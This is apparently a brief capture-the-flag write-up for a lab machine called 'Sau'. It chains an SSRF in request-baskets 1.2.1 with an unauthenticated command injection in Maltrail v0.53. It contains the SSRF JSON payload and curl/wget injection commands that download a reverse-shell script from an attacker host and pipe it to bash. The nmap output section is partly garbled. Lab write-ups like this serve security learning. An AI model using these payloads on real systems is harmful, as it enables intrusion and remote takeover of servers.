#### Sau

## nmap

```
Name scan report for 10 10 11:1226

Not shown: 997 closed top ports (conn-refused)

Not connected to the state of the shown of of th
```

# baskets

request-baskets 1.2.1 is vulnerable to SSRF CVE-2023-27163

Using the following payload reveals port 80's website

```
IMPORTANT: proxy_response=true was REQUIRED and expand_path=true may or may not have been {

"forward_url": "http://localhost:80/",

"proxy_response": true,

"insecure_tls": false,

"expand_path": true,

"capacity": 250
}
```

### maltrail

The website has nothing interesting other than Maltrain v0.53

This version of Maltrain has an OS command injection vulnerability <a href="https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/">https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/</a>

using command vulnerability, I hosted the file contents on a python server

possible creds found in maltrail.conf: admin:changeme! local:changeme!

^ these were just default creds that did not work

the following payload (revshell.sh is a simple bash reverse shell) works: curl <a href="http://10.10.11.224:55555/pog/login">http://10.10.11.224:55555/pog/login</a> --data 'username=; `curl <a href="http://10.10.14.21/revshell.sh">http://10.10.14.21/revshell.sh</a> | bash`'

#### Note:

curl <a href="http://10.10.11.224:55555/pog/login">http://10.10.11.224:55555/pog/login</a> --data 'username=; `wget -O- <a href="http://10.10.14.21/revshell.sh">http://10.10.14.21/revshell.sh</a> | bash`' also works! Don't forget the -O-!!!

# priv esc

trivial sudo -l into gtfobins

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